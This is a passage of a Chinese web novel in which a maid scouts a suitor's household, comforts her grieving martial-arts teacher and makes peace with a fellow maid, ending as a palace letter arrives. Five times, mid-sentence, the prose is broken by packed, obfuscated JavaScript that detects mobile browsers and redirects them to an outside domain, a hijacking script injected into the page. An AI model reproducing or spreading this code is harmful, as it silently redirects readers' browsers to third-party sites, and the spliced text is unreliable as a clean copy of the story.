千雪小心地瞥见师父眼角似乎有些红，像是哭过的痕迹。心里疑惑，但师父性格刚强，此刻又明显想掩饰什么，自己一个徒弟兼小丫头，更不该追问。她很快收回目光，一边将买给小姐的脂粉盒子搁在厨房门口的矮凳上，一边直接说明来意，“师父，今日是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971242|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托主子差事才得空出来的。我想，想跟您借身衣服穿穿，就是像您这样，方便走路干活的。” 苏红缨吃得正香，闻言也没多问。千雪在这里做过粗活，偶尔需要出门帮馆里采买，旧衣服还是有几件的。她抬手指了指西边角落挂着几件旧衣的小屋子，含糊不清地说，“里头架子上你自己挑去，合身就成。动作麻利点，待会儿我还要去趟镖局。” “哎，谢谢师父！”千雪心头微松。她与师父相处时间不算太长，但并不生疏，借衣服在苏红缨看来都是小事。 千雪快步走进那小屋，灰尘味扑面而来。她很快在架子上翻拣出一套苏红缨早年的旧衣裤，靛蓝色的粗布，洗得发白但还算干净结实。她迅速脱掉国公府丫鬟那身过于显眼的藕色衣裙和比甲，换上这套粗布短打，又将发髻拆开，学着苏红缨的样子胡乱在头顶挽了个简单的髻子，用一根普通的木簪固定。铜盆里晃动的倒影里，一个面容清秀却透着股市井少年气的形象便出来了。她满意地将换下的府里衣裳塞进布袋藏好。 “师父，我换好了！”千雪走出来。苏红缨已经吃完了包子，正对着灶膛的方向，假装添柴禾，实则飞快地用手背抹了下眼睛。千雪只当没看见，提起搁在矮凳上的脂粉盒子，“东西放您这儿，我办完事就回来取！” 苏红缨背对着她，挥了挥手，声音有点闷，“嗯，去吧去吧，办完赶紧回府，别在外头瞎逛悠。” “知道啦！”千雪应了一声，不再停留，抱着要还差事的借口采购来的胭脂水粉，转身就溜出了武馆。那装着脂粉盒子的布袋成了她此刻最好的掩护一个给小姐跑腿的粗使丫头模样。 一边走，一边在心里反复默念着要打探的关键，那位王公子，年岁几何？性子是嚣张跋扈还是谨小慎微？常去哪儿？可有街面上传得不好的名声？任何一丝细节，都可能是小姐终身大事的关键。她的眼睛紧紧盯着前方，专注地辨认着道路和门庭，如同一个初次涉险的探子。 32.第三十二章 打探 王家府邸的位置着实不错，青石板路平整宽敞，离闹市有些距离却又不会太偏僻，往来行人衣着都颇为体面。宅门是崭新的朱漆大门，虽然比不得国公府那般煊赫气派，但门口蹲着两个石狮子，门楣上悬着王宅的匾额，看得出这正四品都转运盐使司同知的官职，油水是相当足的。千雪躲在斜对面一棵枝叶繁茂的老槐树后，探头观察着。 大半天功夫，王宅那扇角门开了又关，进出的大多是些仆妇和丫鬟。她仔细观察着，出来的婆子，身上的靛蓝布裙是新的，没什么补丁；拎着篮子的小丫鬟，腕上还有小小的银镯子随着动作一晃一晃。偶尔有管事模样的人进出，衣着就更讲究些。从这些下人的穿着用度来看，王家至少主人家待下不是特别苛待，日子过得应该相当宽裕。看来王夫人的干练治家，是体现在实处的。 千雪心里对王家家境好的印象又加深了几分。但这还不够！家境好不代表那公子就好。 午后日头毒。 千雪蹲在树荫下扮作歇脚的粗使丫头，耳朵却竖着。角门再次打开，一位花白头发的老仆妇挎着沉重竹篮走出。 时机！ 千雪抱紧怀里装脂粉的包袱，脸上瞬间换上恰到好处的茫然与焦急。她快步迎上老仆妇侧前方，带着街头巷尾的朴实腔调， “这位婶子！对不住，打扰一下！我是给南街主子跑腿的，头回来！小姐吩咐我务必买到城西福记的点心给老太太尝鲜……可我转晕了也找不着门！眼瞅着误了差事！婶子是明白人，劳烦给指条路吧？福记在哪儿呀？” 理由自然，老仆妇停步审视千雪，粗布衣，白净脸，抱着包袱，看着是个急慌慌跑腿的小丫头。 她抬手指向，“前头过两个路口，南拐小弯儿，门口排长龙那家就是。” “哎哟！多谢婶子救命了！”千雪满脸感激，连声道谢。紧接着，她像被王家气派门楼惊住，由衷赞叹，“婶子在这样的宅院当差，好福气！瞧这宅子多体面！府上规矩定是极好吧？夫人治家真厉害！” 老仆妇一听，果然面皮上掠过一丝不易察觉的与有荣焉。她微扬了下巴，那撇嘴的动作却带着点难以言喻的复杂情绪，“点心嘛，咱们府上自有小厨房做精细的。”她含糊地应了半句，随即压低声音，像是自言自语，又像是不慎流露，“咱们府上……规矩可重着哩。”说罢，她似乎不想再多谈，又看了千雪一眼，“行了，赶紧办差去吧，别误了主家的事。”然后挎着篮子，加快了脚步匆匆走开了。 规矩重，这三个字从她嘴里说出来，可不像是什么好话。那微妙的撇嘴表情千雪心里咯噔一下。这意味着什么？是公子为人极挑剔严苛？还是脾气暴躁难以伺候？至少绝不是宽松包容之家。 不多时，角门又开。一个靛蓝衣裳的婆子提着沉重提盒走出，衣襟上绣着小小的福记！千雪立刻凑近，伸手帮托了下提盒底， “婶子辛苦！这么大热天！您是福记的吧？真巧！方才那位王家婶子还给我指您家的路呢！婶子常送府上，想必跟府上采买的管事儿熟络？” 福记婆子得了一把手，又听提到“管事们”，以为是打听门道的。她稍喘气，“熟是熟可不易做！府上规矩严！尤其是公子小姐们的用度，样样都得合夫人定的规矩，嗐！”她猛地警醒，立刻收声，警惕地瞥了千雪一眼，几乎是跑着离开。 样样都得合夫人定的规矩几个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971243|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，如石投水。连点心都要符合母亲的规矩口味！ 千雪心头一凛，就在这时，巷口车马声至。她迅速缩回树后。 一辆精致马车停在王宅正门，小厮利落放凳撩帘。一个宝蓝锦袍，约十六七的少年从容下车，面皮白净。然而他并未即刻入府，反而在门口略顿，似在等人。 管事迎上，低声回禀，少年脸上闪过一丝茫然，目光本能地扫向门内空空如也。 那点刻意维持的沉稳瞬间不见，浮起一丝不易察觉的紧绷，他略显生硬地一甩袖，“知道了！”便步伐略快地跨入府门。管事微躬紧随，一副习以为常之态。 树后的千雪看得分明，那下车等待，扫视门内的期待，回禀后的茫然与强装的不耐，不是一个有主见的少年，更像一个习惯了母亲指令，稍离指引便露茫然的“妈宝”。 家境是好。 门楣是高。 王夫人厉害也是真！ 母亲强势如天，儿子乖顺如提线木偶。小姐若是嫁进来，那才是真的跳进了一座金玉打造的牢笼！上有说一不二的严厉婆婆压着，身边是万事听娘，毫无担当的丈夫简直不敢想！这样的夫家，这样的夫婿千雪背脊发凉。 她见日头西斜，离府门落锁尚有些时辰，心头微动。 目光扫过街边熟悉的食肆酒铺，她脚步一拐走了进去。片刻后出来，手里提了一小壶清甜的山楂果酒，一包油纸裹着的喷香猪头肉，还有一包盐炒花生米。都是些市井里最寻常的下酒菜，却也最实惠解愁。 她抱着这些东西，还有给小姐买的胭脂花样，再次折返方向，快步走向走马巷，苏红缨眼角那一抹未褪尽的微红始终在她心头盘桓。 33.第三十三章 苏红缨心事 推开吱呀作响的院门，院子里静悄悄的。苏红缨独自一人坐在厨房后门槛上，背靠着门框，一条腿屈起，下巴搁在膝盖上，眼睛望着远处几根孤零零的竹竿架子出神。那股平日里能撑起整个武馆的飒爽劲儿，像是被抽掉了，背影透着一股说不出的疲惫和萧索。 听到脚步声，苏红缨侧过头。看清是千雪去而复返，又看到她手里提着的东西，眉头习惯性地一挑，但那双带着点血丝的眼睛里，却清晰地掠过一丝了然，甚至有点藏不住的水光？她显然看穿了千雪买这些的用意，是看出她不对劲了。 “师父。”千雪走过去，把吃的和酒轻轻放在苏红缨脚边挨着门槛的石板上，又把装着府里小姐脂粉的包袱小心放远点，怕沾了油污。 苏红缨没说话，只是沉默地看着那壶酒和油纸包，喉头似乎轻微滚动了一下。 千雪直起身，拍了拍手上的灰，刻意让自己语气显得轻松平常，带点后进学徒的恳求，“师父，我看天色还早着呢。您……再教我两招吧？我难得出来一趟，上次学的有点忘了。”她主动提起学功夫，笨拙，却是在给苏红缨找个暂时忘却眼前烦忧的理由。 苏红缨看了她两秒，忽然笑了，那笑容扯得有点用力，却比方才的死寂多了几分生气。她猛地从门槛上跳起来，活动了下肩膀，动作快得带风，“好啊！来来来！” 话音未落，她毫无预兆地就是一拳带着风声直捣千雪面门！依旧是那么干脆利落，下手毫不含糊！ 千雪心头一凛，来不及多想，身体下意识后仰躲开这气势汹汹的一拳，同时右手下意识地格挡出去这是苏红缨前不久才教给她的一点粗浅拦江手。 砰！ 千雪只觉手臂一阵酸麻，连连后退了好几步才站稳，胸口气血翻腾。 果然第二招都接得勉强！ “哟嗬？”苏红缨却收住追击的姿势，站在原地，双手叉腰，脸上露出一丝真正的惊讶，紧接着嘴角咧开一个大大的，不掺假的，带着点豪气的笑容，“可以啊雪丫头！有进步！真长进了！” 千雪刚喘匀气，听到这话微怔，“师父……？我就挡了一下，还差点……”她对自己这狼狈样是心知肚明。 “傻了吧你！”苏红缨走上来，毫不客气地一指点在她被震得酸麻的手臂肌肉上，“我说的不是你躲了我两招！我是说…”她的声音难得透出点认真和欣慰，“你能看准我的拳路，懂得在躲的同时反击了！虽然力道狗屁不是，但这架势，这想法是对路的！这不是挨打，是过招了！懂不懂？过招！” “过，过招？”千雪回味着这两个字。原来师父是这么看的？ “没错！傻站着挨揍是没长进，你刚才那是想法动了！手也跟上了！就这么练！”苏红缨心情似乎被这小小“交手”激得好了不少，干脆利落地开始指点千雪刚才的不足，“肩膀太松！劲都泄了！手臂收回去的速度呢？想再挨一下？腰！腰别硬邦邦的！借力懂不懂……” 两人就在这静悄悄的，只有零星鸟叫的院子里，一个认真教，一个竭力学。千雪依旧只勉强过了几招就气喘吁吁，破绽百出。苏红缨也没强求，只是把她错误的地方反复讲，比划着纠正。阳光斜斜地照下来，落在她认真拨正千雪手臂和身姿的动作上，竟有几分难得的专注与平和。 练了一会儿，千雪抬头看了看天色，日影已开始泛出金红，实在不能再耽搁了。她擦了擦额角的汗，“师父，我得回去了，府门要落锁了。” 正要弯腰去拿给小姐的东西和剩下的果酒吃食，苏红缨却突然开口，声音不高，带着点干涩，目光也没看向千雪，只盯着石板上那壶酒， “千雪……陪师父喝一杯？就一杯。”话里透着一种强撑硬汉却掩饰不住的疲惫和脆弱，像是在荒漠行走的人，终于忍不住开口乞求一滴水，这和刚才教功夫时的豪气截然不同。 千雪伸出去的手停在了半空。她缓缓直起腰，看着苏红缨微微绷紧的，侧对着她的肩膀，轻轻点了点头，“嗯，好的师父。”她蹲下身，解开油纸包和酒壶。猪头肉的油香气立刻弥漫开来。 那壶果酒，本就是她猜到了师父的心事，特意为她买的浇愁酒。 一小壶清甜的果酒，两盘寻常的油盐荤素。千雪安静地坐在门槛旁的小凳上，苏红缨则坐在较高的厨房门槛上，两人就着石板，无声地小口喝着甜腻微醺的酒液，嚼着猪头肉和花生米。 初时只有市井黄昏的静谧笼罩小院，间或一两声鸟雀归巢的鸣叫。山楂酒的甜香混着猪油荤气，弥漫在沉默的空气里。千雪不劝酒，也不多言，只是默默陪着。她能感觉到师父肩头绷紧的那根弦，在酒精和这难得的，不带目的的陪伴中，一点点松动。 几口酒下肚，苏红缨脸上浮起一层薄红，眼神开始有些飘忽。她盯着脚边石板上滴落的几点油渍，握着酒碗的手指微微发白，突然开口，声音带着被酒气熏染的沙哑和一种压抑已久的苦闷， “雪丫头……”她没看千雪，像是在对着空气自言自语，“师父我，憋屈！” 千雪抬眼，安静地看着她绷紧的侧脸线条。 “我是他苏大海唯一的女儿！这武馆的招牌是我娘还在世时，他亲手帮我一起挂上去的！”苏红缨的声音陡然拔高，又猛地压了下去，带着一种被深深刺伤的茫然和愤怒，“可他……他就是不认！他看不起我这亲生女儿！他觉得我撑不起这武馆！败家！会把他这点心血败光！” 她端起碗，狠狠地灌了一大口，酒液顺着嘴角滑下，也分不清是酒还是……别的什么在眼眶里打转。 “我差哪儿了？啊？你瞅瞅外头那些野路子教出来的把式！再看看我教出来的徒弟！哪个不是能顶门立户的？这些年，武馆名声没倒！银子也挣下了！是我苏红缨扛着在走的！”她越说越激动，语速飞快，像是在控诉，又像是在努力说服自己，“可他就是看不见！死活要从他那八竿子打不着，不知哪来的穷酸同族里过继个姓苏的小子？我呸！他懂个屁的打熬筋骨！懂个屁的江湖路数！连刀都拿不稳！” 她絮絮叨叨地说着，声音时而低沉，时而拔高，充满了委屈，不甘和被至亲否定的刺痛。 说她爹苏大海如何古板固执，如何把她当外人防备，如何把希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975655|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寄托在一个资质平庸的所谓“侄子”身上。 说她从小练武的艰辛，为了证明自己吃了多少苦头，如何守住武馆的艰难那些藏在平日爽朗坚硬外表下的脆弱，不被承认的憋屈和身为女子的无力，在这个被她教过的，如今又回来陪她喝酒的小丫头面前，一股脑倾泻出来。 千雪安静地听着，嚼着花生米的动作变得缓慢，她看着师父眼角控制不住沁出的湿意又被她粗暴抹去的样子，心底漫开一片沉甸甸的酸涩。 原来师父那豪气干云的背后，也背着这么重的枷锁，被至亲之人轻视。 苏红缨说了很久，酒壶空了小半。说到最后，声音已经含糊不清，眼神彻底涣散。“……凭什么不认我？……我比他强百倍……死老头子……” 话音刚落，“咚”的一声闷响。 苏红缨的头重重砸在膝盖上，整个人随之软软地歪倒下去，肩膀眼看就要撞上旁边的石阶！ “师父！”千雪惊呼一声，扔了手里的东西，猛地冲上去，险之又险地用肩膀垫住了苏红缨沉重的身躯。 她低头一看，苏红缨双目紧闭，呼吸均匀沉重，竟然醉死过去了！ 千雪看着那空了大半壶，顶多算微醺浓度的果酒，简直哭笑不得。师父这酒量未免也太差了些！还是说，憋闷的心事遇上酒，哪怕是一点，就成了压倒骆驼的那根稻草？ 千雪费力地将苏红缨沉重的身体半拖半扶起来。师父醉得不省人事，身体软绵绵的，沉得像个沙袋。千雪咬着牙，用尽全身力气，几乎是把她半扛在身上，一点一点艰难地挪向院角那间属于苏红缨的小小卧房。 好不容易将人弄上床，褪了鞋袜，拉过薄被盖好。苏红缨在睡梦中依旧皱着眉，嘴唇微微翕动，像是还在无声地控诉着什么。千雪站在床前，借着窗外透进来的最后一点天光，看着师父难得显露的无助睡颜，心里滋味复杂。她伸手，轻轻拂开挡在苏红缨眼角的一缕乱发。 天彻底暗了下来。 千雪不敢再耽误，收拾好院内狼藉，把剩下的酒菜包好放在显眼处，最后看了一眼床上的人，轻轻带上房门，抱起给吴玉瑶买的东西，快步离开了这弥漫着酒气和心事的小院。 夜色降临京城。 千雪匆匆赶回国公府后角门时，府门早已紧闭。侧边的小门处，马嫂子正揣着手，眼神闪烁地等着，府门落锁后，这些小门就成了捞油水的门路。 “马嫂子，对不住，挑花样多耽搁了会儿。”千雪脸上挤出笑容，动作极其自然地又塞了几枚铜钱过去，压低了声音，“劳烦嫂子担待了。” 沉甸甸的铜板入手，马婆子脸上顿时开了花，心里嘀咕这千雪果然上了高枝儿，手面也大方了。她麻利地拉开一条门缝，“哎哟，姑娘可算回来了！快进去快进去，可不敢让大夫人知道！” 千雪赶紧闪身入内，对着马婆子点了点头，便抱着包袱，脚步飞快地向着黑沉沉的芳华院走去。 月光洒在青石板路上，拉长了她的影子，疲惫涌了上来，但师父那醉梦中的愁容，和今日探听到的王家情形，都地压在她心口。 34.第三十四章 素丹的坦白 芳华院里，灯火早已点上。吴玉瑶在靠窗的椅子上坐立难安，时不时探头望一眼黑沉沉的窗外，掌心捏着的丝帕都快被她绞烂了。 素丹端着一碗熬好的银耳羹轻轻放在小几上，温声劝道，“小姐，时辰不早了，千雪办事向来稳妥，许是东西难挑，或是路上耽搁了，您先用点东西，歇息吧？” 吴玉瑶却没什么胃口，心不在焉地摆摆手，目光依旧黏在门口的方向，“再等等，不困。”她既怕千雪在外头打听时出了什么意外岔子，又按捺不住心底那份关于终身大事的忐忑与期待，哪里睡得着？她也没同素丹细说千雪外出真正的目的，此事关乎闺誉，知道的人越少越好。 素丹见她这般，心知劝不动，只好默默退到一旁侍立，眼神却若有所思地也在门口流连。 外间终于响起一阵略显急促的脚步声，门帘哗啦一声被挑起，千雪的身影带着一身微凉的夜气闪了进来，怀里紧紧抱着那个脂粉包袱，衣角还沾了点不易察觉的油污。 吴玉瑶几乎是蹭一下从椅子上弹了起来！动作之大，连她自己都吓了一跳。 察觉到失态，她强自按下狂跳的心口，脸上飞起一丝不易察觉的红晕，立刻又坐了回去，只是腰背挺得笔直，一双眼睛牢牢锁定了千雪。 素丹见到千雪安然回来，也是松了口气，但吴玉瑶的目光一扫过去，她便垂首行礼，“小姐，千雪回来了，奴婢先告退。”说完，低着头，视线却在千雪身上微妙地停留了一瞬，才轻步退了出去，顺手带上了门。 千雪看着素丹消失的身影，心头一紧。 坏了！自己晚归这么久，素丹是大夫人身边出来的大丫鬟，少不得要在背后琢磨，说不定还会向杜氏透点风声，看来得赶紧想个说法。 不等吴玉瑶发问，千雪自己先开了口，“小姐恕罪，奴婢回来晚了，那福记的点心今儿卖得极快，排了好长的队，后来又给小姐挑新到的胭脂水粉，好几种颜色拿不定主意，怕不合小姐心意，又请教了好一会儿，好不容易定下，紧赶慢赶还是误了时辰。”她把包袱放在桌上打开，露出里面几盒簇新的胭脂和一卷花色鲜艳的料子图样。 “小姐您瞧瞧？这是掌柜的极力推荐的京城新贵们最爱的海棠晕色和水红口脂，花样也是时兴的缠枝莲和蝶恋花。” 吴玉瑶此刻哪有心思细看什么胭脂花样？她随手指了一下桌上的东西，示意千雪放下，急切的直接问道，“东西回来再看无妨，千雪可有，可有探听到什么消息了？” 千雪放下胭脂盒子，整理了一下思绪，没有隐瞒，将今日所见所闻一五一十地低声道来。 “小姐，王家只怕不妥。”她开门见山，“府邸气派，下人穿戴尚可，王夫人治家也严。只是……”她将那老仆妇避讳谈及规矩的态度，福记婆子“样样都得合夫人定的规矩”的抱怨，尤其是王家公子归家时那微妙流露的依赖母亲指令的神态，都细细说来。 末了道，“奴婢瞧着，这位公子，万事恐怕全凭王夫人做主，没有自己的主意，稍离了母亲身旁，便显得无措又不耐。” 吴玉瑶听着，眼中的期待一点点黯淡下去，她虽未经人事，但千雪形容得如此详细，尤其是那“样样都得合夫人规矩”和“公子自己无主见”的话，让她瞬间就联想到了府里那些被婆婆紧紧捏在手中的可怜媳妇的模样。她原本微扬的嘴角渐渐抿成一条直线，脸色一点点白了下去。 千雪见她神色有异，忙补充道，“今日时间仓促，只来得及在王宅附近停留。郑家那边，奴婢想着过几日再寻个由头出去打探仔细。” 吴玉瑶缓缓点了下头，目光落在桌上那盒艳丽的海晕色胭脂上，却只觉得刺眼。半晌，她才像是找回了自己的声音，低低的，带着难以掩饰的涩然，“嗯，打探王家已是不易了，辛苦你跑这一趟。”她说着宽慰千雪的话，但那深深叹出的一口气，却带着忧绪。 “我就知道……”她的声音几不可闻，像是自言自语，“好婚事，哪里是那么容易寻得的。” 千雪见状，上前一步，“小姐，您别着急。这终身大事，本就是千挑万选，急了反倒容易看走眼。如今多去大夫人跟前走动走动，尽尽孝心，大夫人心里自然有数，总会替您留心的。” 吴玉瑶明白千雪的意思要想嫡母真心为自己打算，光躲着不行，得勤快表现，争取杜氏的看重。她深吸一口气，压下心底的烦乱，轻轻点头，“嗯，我明白。” 千雪服侍她洗漱睡下，放下帐幔，吹熄了外间大半的灯烛，只留角落一盏小灯，才轻手轻脚地退了出来。 一出小姐内室，千雪并未立刻回自己的下房，而是脚步一转，走向院中另一侧素丹的房间。窗纸上还透出亮光，显然素丹还没睡。 千雪在门口略顿，轻轻叩了两下。 “进来吧。”素丹的声音从里面传来，平静无波，似乎早料到她有此一行。 千雪推门进去，素丹正坐在小桌前，手里拿着一件正缝补的衣服，桌上亮着油灯。她抬眼看了千雪一眼，目光在她脸上转了一圈。 “坐。”素丹指了下对面的小杌子，放下针线。 千雪依言坐下，还没想好如何开口，素丹已经先说了话，如同拨开了窗纸，直接点明。 “你不必忧心忡忡地来寻我解释。”她看着千雪的眼睛，“只要你不是做什么害主家的事，不是对大夫人不利，那你在外面耽搁了什么，给小姐做了什么跑腿的私差，我自会替你兜着点。” 千雪微怔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981012|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到素丹如此直接。 素丹拿起桌上的茶杯，轻轻拨弄着杯盖，目光垂落，似乎在斟酌字句，“大夫人将我指给四小姐，自然是希望我能替她看着点这芳华院的风吹草动。这话不必明说，你我心里都清楚。”她抬起眼，目光变得有些深，“可大夫人指的是一时，我呢……”她顿了顿，“我素丹的身契以后大概是跟着四小姐走的，她日后若出嫁，我多半就是她的陪房，是要跟着去别人家的。” 千雪静静听着，心中了然。素丹是在明明白白地告诉她自己的处境和立场。 “所以，”素丹放下茶杯，认真道，“只要四小姐行的不是那等自毁前程，连累满门的糊涂事，我更希望她在这府里能立得住，嫁得好些。这样，对我，对她，都好。我不希望和她离心离德。你可明白？”这话既是袒露心声，也是提醒，她不会无故告发，甚至在某些层面会倾向维护吴玉瑶，但她对吴玉瑶的要求也摆在那里，安分，上进，别犯大错。 千雪悬着的心彻底落下一半，她看着素丹，用力地点了点头，“素丹姐姐的意思，我明白了。” 素丹也松了口气，千雪是个聪慧的，她知道，这也是为什么素丹会放心她出去给四小姐办事，而不问缘由。 气氛缓和了不少，千雪想了想，素丹都这样说了，她决定适当透一点风，以示信任。 “今日确实是小姐吩咐，让我借着采买脂粉的名义，出去打听了些宴会上那两户人家的情形。”她没提具体是哪家，也没说王郑，只说两户人家。 素丹脸上并无意外，甚至连好奇的追问都没有。她只是了然地点了下头，仿佛早已猜到七八分，轻描淡写地嗯了一声。 这反应倒让千雪有些意外，不过转念一想，四小姐如今很在意自己的婚事，素丹自然也能看出来，素丹接着刚才的话头，反而流露出另一种担忧。 “四小姐的心思还是太单纯了些，久居后宅，见得少，经得更少，遇事容易着急，也容易受人诓骗。”她看向千雪，“你在她身边多走动，心思也比你年纪细些，而且四小姐信任你依赖你多些。日后要替我们多看着她点，该提醒的提醒，该拦着的也要想办法拦住。”素丹看的出来，四小姐还是比较信任千雪的。 千雪看着素丹眼中那份关切与焦虑，明白了这份重托。 “姐姐放心，”千雪认真地应下，“我知道轻重。” 夜深了，两人又简单说了两句闲话，素丹便催千雪回去歇息，“奔波一日，也累了。明天还要早起伺候小姐去大夫人那里请安呢。” 千雪这才起身告辞。走出素丹的房间，冰冷的夜风一吹，奔波整日的疲惫才猛地涌了上来。她揉着酸痛的胳膊，慢慢走回自己那间不大却令她感到踏实的小屋。 35.第三十五章 贵妃来信 翌日清晨，天色将明，吴玉瑶便已起身梳洗妥当。镜中的人影努力打起精神，眉眼间还带着一丝昨夜未散的郁色，被她强行压下，只余下温婉恭顺。她特意取出自己花了小半个月功夫才做成的一双青缎绣缠枝莲软底女鞋，仔细包好。 芳华院通向主院正房的青石板路还透着昨夜留下的薄薄凉意，吴玉瑶带着千雪和素丹去了锦居。 “女儿给母亲请安。”吴玉瑶踏进暖香融融的正房，声音清越，姿态娴雅地行下礼去。杜氏正用着早膳，见她来得这般早，又如此齐整，脸上露出一丝满意的神色。 “起来吧，难为你记挂。”杜氏点点头，“可用过早膳了？” “女儿先用过了，不敢打扰母亲。”吴玉瑶答得乖巧，这才将手中的小包袱捧上，“女儿做了双鞋子，针脚粗陋，只求母亲莫要嫌弃，能暖个脚也是好的。”她声音轻柔，带着女儿家的羞怯与孝心。 杜氏身边的大丫鬟自然上前接过，打开呈到杜氏面前。 杜氏放下银箸，拿起来细细瞧了瞧。鞋面青缎素雅，缠枝莲的绣样倒是雅致，针脚也还细密均匀。她嘴角噙起一丝更深的笑容，抬眼看向吴玉瑶， “倒是个有心的孩子，这花样子选的好，针线也精细，难为你有这份孝心。”杜氏的语气比平日温和许多，手指在那绣样上摩挲了两下，似乎颇为满意，“你的事，我自然记挂在心上，也会给你仔细留意着。” 吴玉瑶心中一紧，面上却适时浮起一抹感激的浅红，微微垂下头，“多谢母亲记挂。” 杜氏的目光在吴玉瑶低垂的颈项上扫过，像是想起什么。 “说起这个，前几日光禄寺少卿郑家夫人，也托人递了帖子来想走动走动，被我给回绝了。” 吴玉瑶倏地抬起头，眼中闪过一丝讶异和不解。杜氏淡淡地续道。 “他家那个不成器的儿子，不知何时染上了赌，听说家底都快被败光了。这等人家，如今还想着攀附上门，真是……不知所谓，不识大体。”杜氏端起茶盏，轻轻撇了撇沫，“你也不必记挂那日席上她找你说话的事儿了，这样的人家，绝无可能。” 吴玉瑶只觉得心头被泼了一瓢冰水，这郑家背后竟然是这样的不堪！幸好，幸好杜氏消息灵通！ 杜氏看着庶女骤然煞白的小脸，以为她是被惊着了，倒也理解，她放下茶盏，又慢悠悠地道。 “你不比放在心上，便是没这档子事，郑家我也未必看得上，至于王家倒还像样些，外头风评不差，都说他家几个儿子都是好读书，懂规矩的，尤其是他们家大公子，出了名的孝顺，不过…”杜氏话锋一转，安抚似的，“咱们也不急在这一时，再看一两年也无妨，我自会替你留心更好的。” 吴玉瑶强迫自己冷静下来。她耳边似乎响起了千雪昨夜低沉的声音，“公子万事全凭王夫人做主。” 这“出了名的孝顺”，此刻从嫡母口中说出，竟让她感到一股莫名的寒意。她不敢多言，只能深深垂下眼睑，恭敬地应道。 “女儿明白，全凭母亲做主。” 就在杜氏还想交代两句时，门帘忽地被郑妈妈恭敬地掀开。她的脸色带着几分郑重，对杜氏禀告。 “夫人，宫里……来人了。” 杜氏眼神骤然一凛，无吴玉瑶也一惊，宫里的消息？杜氏瞬间敛起了方才面对吴玉瑶时的所有温和表情，迅速站起身，贵妃的懿旨或家信，其分量远非寻常女儿婚事可比。 吴玉瑶极有眼力见，立刻福身行礼，“母亲既有要务，女儿先告退了。” “去吧。”杜氏只微一点头，目光已全然投郑妈妈。 吴玉瑶立刻带着千雪和素丹垂首敛襟，迅速退出了正房。厚重的门帘在身后落下，隔绝了一切。 快步走在清晨微凉的回廊下，千雪落后吴玉瑶半步，脑海里却飞快地掠过刚才杜氏听闻宫中来信时那一瞬间的失态，那不是普通收到家书的喜悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990272|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而是一种近乎紧绷和担心。 一丝疑惑爬上心头，贵妃娘娘在宫里莫非并非想象中那般顺遂如意？又或者，那深宫重帷本就是步步惊心，一丝风吹草动都足以让宫外亲族心胆俱颤？ 正院里，肃静的暖阁中只留杜氏与心腹郑妈妈，房门被轻轻带上。 郑妈妈小心翼翼地从贴身之处取出一卷用绸带封着的密信，低声道，“夫人，是贵妃娘娘的亲笔信。” 杜氏端坐主位，面上已无之前的凝重，但接信的手依旧稳而快。她屏退了屋内其他丫鬟仆妇，只留下郑妈妈在侧，修长的手指熟稔地挑开蜡封，展开那带着宫中特有熏香的素宣。 信中簪花小楷秀丽清晰，杜氏的目光一行行扫过，紧绷的肩背渐渐放松。幸好，不是什么坏事，相反，还是好事。 信上说，娘娘缠绵病榻多日，如今终于大好，自觉是佛祖慈悲庇佑，心念虔诚，欲亲赴大慈恩寺还愿。陛下念其心诚，已经恩准，定于三月初八成行。 看到此处，杜氏嘴角微扬。女儿病体康复，又得圣心恩准礼佛，自是好事。 